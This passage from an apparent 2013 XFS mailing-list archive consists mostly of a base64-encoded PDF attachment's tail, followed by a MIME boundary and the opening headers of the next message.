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 Rh1r1x9Zrcmqx4kN13hs6PVYdO9b0LzkcbcBT1vWdb0QsIKUH3noql3ocHR4m4xRdl0K/dxb/ppX EDbvdtLWzevfDdnQPLmk/qNGIw/fFEzjj+TPs3UtJW32hR1zvd3i9Lak+wWaPEV+2I3NE4PCX87y n/fi1bPi2+lVvOptDst8HuKQ5rwo1WrGrZmc9ctbwe8m5R5+YJj/S/BBy9NTk2c590vIsnhn9Tzk fI+j9hWdrY/lTdpefe2Q6LDGeW2PvX+4sENYURYT2Ni92+vLK8+mevT9uGiW4Z3H8feX5rnsOFhT T4ydMvfKm7xSg2o6sb4zXwyt0mLrqZthD04Onm3W+ZC3SbeiGdbNp7juWOHV2KpYz9gCdSny7mR3 POOATnGaOKl1gmgY7Dfcqdm85FOv+hze/SRpYfj08BEzJ+dYNlNElJxY2INPyfd56upuevBeci2D 14lr6vVIfd9u7WRPk1gbcWKR3rWY14nHm5w9Y/pwyD7l+jMfXK5XmZhdyH8wrN5wxZ33N5eObLKV 6940tnvD4NX+T4Kfrhs45CLvpZNgNUpb5ZYYWnQ398PdpnorYjIq2pi4Dd/J2g29NatR9fi9M6bO OjT5YpbdSk3nec/zVqb3HCP0ct06sDeynr3ipcmwtyZjHLeMP9GroKnWPfPq7X5+F9BPUU1PHR9/ aLNZqZg8efdCv1VMw14V8Vmzb+kV6K2v1UZ9fq+flKriAL+ffcFvk55eFL+t/hv4LdWSvCRAbG9P SVaZIDLlTU9J3vzvyd9/ht4LcvusuX6l2XTn4b3dzG9uv3V7/9y2Dm1WHC8yC3bULT615FTLFSmS rf5j7lzoLOPmMy39p6/M6CxVu4x6Pxi2/ckETrdEVEIoe7TKEU/HcfNfvu5h5fJx2P3x1o/uBy/M 3e0QcnhyaeAJnZNdV51c7a/Me7+4z4weF2pcbRKyOv3k3RpN3KoXprdu3064o3D50GvaNKnvuFcd pfmlP52fs+6B3Zyf3p02fKXeFJLQbn3gtAXNUIumcfrVneIK5tw5oxrdIu/92CX6TY10UheMfdp+ cDnOtG6jTkN6UpOnm645NNm6zzV0wSqbwY20g45mXa87ZkZuJLPBWrPmY0nWWnzcPii04j27d48t +YLey6FFlvwj9P6hMPwOvfUqo7f8HmppdMYn8B09TRo9+cfwmxu9KPJv756pekNWmOS2yMlf0bJ/ h9ecoVvs/zOo/5ekLLS13pyJezsrGvsUPVy/YtCV40PatsJr3FL6dUoQDJcf3zFs6ma3swZ5kxKi NoczR4JtDdvMLRra8Fb41lUdMq1uWuP0wq2DX/588kldXHxrx1SePTi52a3nIcZFrZdPv3N/cq9z o3bfm/lS5Z6mePiLs6N90oe3H+8MnuumKeFuJW0zC54/pTefPGtzbu15PVz3txUfRXVuYJLxs22D W5yFx/uj2hYDtX41k8nBR0l+FWm84fU9fOSU5xc2mz4O/nnkfu+aXRfufLxtBPEfdjYk2a5YOrx1 cGznTtiUNxJPXzbKeFNvS1yHda7u99+npR9tG/ZgftLMPoW1W559O2TnMrOhUU7P8rKcvFSDLKIO +dkkVEl9Tg64bD0RsO7u+ycjNtxeVJDivTl4fz8Hg2oDSb12k/pFNAkw2rZu3epWPQ4u8K8YNcRu VLaxFPfA36CrxcFse7uTAQ9rPtz6utlRl7MXPUa1rObczLFbxKOwZ4uvzZ1/uE7i9tHVU1T6xQPt dmal7q4eunFNL78JuQMj1/fNNVy8c1nT5waJZRM9+qwtv9724CSHQ3Hb51uPM4hh/FxXdZy6+Y7d 3Q2rD0evHxzKnm3k1qZw5ur8wcvX5cweYHFp+jjDAfbuHgXqvjmdJlXdmfNs7GG7849tWh/KLG5+ owTHJk4gIw7GH7zX99GSOce1ThXi/k6dL7ayzL1Y6p7dwK29Se9DhgvLtKnKOVKqcgaDsTR63H9R L383Ufttmjdn9D5ZpX3utjoKrVB5Dhm+99sW0YpS5aPGsgb88o9KLWARPlviGtaCf9vwdNr+/frZ Vp0ysrZJMZX+RdCGSaE5zqNqoFYoHkWjZJRIp6HjUAqyRaFoCEqCrR6wPxJqPdGQ3GqjHP90jKYM SUrskRyZ1HOI7e+4RJmKkWHJnUCX6I3r1q9ni6LsS6+M0iHdBhnOGdY0cmWfkdxY1bH+V9xLb/e9 8Sxt45bFzxr7/mo2nn/zYWm3ya9Cjw3qmVXD19Ng+bxlTzVvq9ydEMM/MR+1uuHpGn6ea81e3To2 I33lisbLl97q673WcLumcM6W0+GD7KbPb+CyaceeQ+iNzZptl64U7/ZSRjeaFHfgeZXdH/zH3lnV uZ3uw10R+06l/ZJ7y+ag79zic1LRtNDBPdatYtrfq7+8vH9po7mdEh9Hi0P7PjIsMTbu8KZV0pm2 Fo9MCsr3N0ydqxnw7EG/a7PNSo2PvGNe/Jw+aXH4xpaZb+K6Nui6i3Etfh6eE+11Z+q5Wn2TSs7u bznWJzeVsZZSmUrOVWlTGR52qWhnTPuvkf9383Hc566Y00Uyq9wPybcFDwzf+PUIq9WVp8okb20t iEl9PEHE/L4blmitPfPHzbTdVWWp10MuPOFprZ0nfofNcgcJ3HA17tL7pwMvWlvG9fLv3XL3AVvx 0MWx13q/W6JY8uhAA5cte7YaTu9y9eqqI5b1F87xDnoybfLgLue9bz++UH3bducI6UYav6z8Q9zm VYNfqDvkjG+UPtHe49eQDeTgupWnpx4M2uaQlF20UNFs9TmbgOG29y4bz/61ubpoSJyzZci9Oy16 9B+XcXzxzqju6y7Xv6tzdWV5yjyFpmDG/wptAJL/e3YF+EvkrvbZ9eCW/3Xq85a0oL0kXwHjrsp6 z3nNr8aY/ySKzSOpADBLMJjsyXS/RUbSVxoHVisb61I9fYsLOaNzpU9JqYpu2EKFfTAt/JJD7GoO Yhm69YxVJsnZOXLb7jMxkA8HZF7Xc8sAAMyqgG0NCmVuZHN0cmVhbQ0KZW5kb2JqDQoxNyAwIG9i ag0KPDwvVHlwZS9YUmVmL1NpemUgMTcvV1sgMSA0IDJdIC9Sb290IDEgMCBSL0luZm8gMTEgMCBS L0lEWzxDMjc1MjlEQjM5OUVBMzQzQjc4QzQ3MzQ1Q0FENTEyNj48QzI3NTI5REIzOTlFQTM0M0I3 OEM0NzM0NUNBRDUxMjY+XSAvRmlsdGVyL0ZsYXRlRGVjb2RlL0xlbmd0aCA3Mz4+DQpzdHJlYW0N CnicY2AAgv//GYGkIAMDiPKDUG1girEETHG4Q6ifYIrzDZjimgmmuHvBFI8pmOJVBVN8YmBKwBhM CTGBKMaoyRBqHQMDAHdPCc4NCmVuZHN0cmVhbQ0KZW5kb2JqDQp4cmVmDQowIDE4DQowMDAwMDAw MDAwIDY1NTM1IGYNCjAwMDAwMDAwMTcgMDAwMDAgbg0KMDAwMDAwMDA3OCAwMDAwMCBuDQowMDAw MDAwMTM0IDAwMDAwIG4NCjAwMDAwMDAzNzIgMDAwMDAgbg0KMDAwMDAwMjExOSAwMDAwMCBuDQow MDAwMDAyMjk3IDAwMDAwIG4NCjAwMDAwMDI1NDAgMDAwMDAgbg0KMDAwMDAwMjcxMyAwMDAwMCBu DQowMDAwMDAyOTU3IDAwMDAwIG4NCjAwMDAwMDMxMjUgMDAwMDAgbg0KMDAwMDAwMzM2NSAwMDAw MCBuDQowMDAwMDAzNjA2IDAwMDAwIG4NCjAwMDAwMDQxNDcgMDAwMDAgbg0KMDAwMDAwNDYxMCAw MDAwMCBuDQowMDAwMDg4NzIzIDAwMDAwIG4NCjAwMDAwODg3NTAgMDAwMDAgbg0KMDAwMDE2NzA2 MCAwMDAwMCBuDQp0cmFpbGVyDQo8PC9TaXplIDE4L1Jvb3QgMSAwIFIvSW5mbyAxMSAwIFIvSURb PEMyNzUyOURCMzk5RUEzNDNCNzhDNDczNDVDQUQ1MTI2PjxDMjc1MjlEQjM5OUVBMzQzQjc4QzQ3 MzQ1Q0FENTEyNj5dID4+DQpzdGFydHhyZWYNCjE2NzMzMw0KJSVFT0YNCnhyZWYNCjAgMA0KdHJh aWxlcg0KPDwvU2l6ZSAxOC9Sb290IDEgMCBSL0luZm8gMTEgMCBSL0lEWzxDMjc1MjlEQjM5OUVB MzQzQjc4QzQ3MzQ1Q0FENTEyNj48QzI3NTI5REIzOTlFQTM0M0I3OEM0NzM0NUNBRDUxMjY+XSAv UHJldiAxNjczMzMvWFJlZlN0bSAxNjcwNjA+Pg0Kc3RhcnR4cmVmDQoxNjc4NTENCiUlRU9G ------=_Part_1674_23012815.1387175386345-- From xfs@tlinx.org Mon Dec 16 01:41:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BC7277F3F for ; Mon, 16 Dec 2013 01:41:20 -0600 (CST) 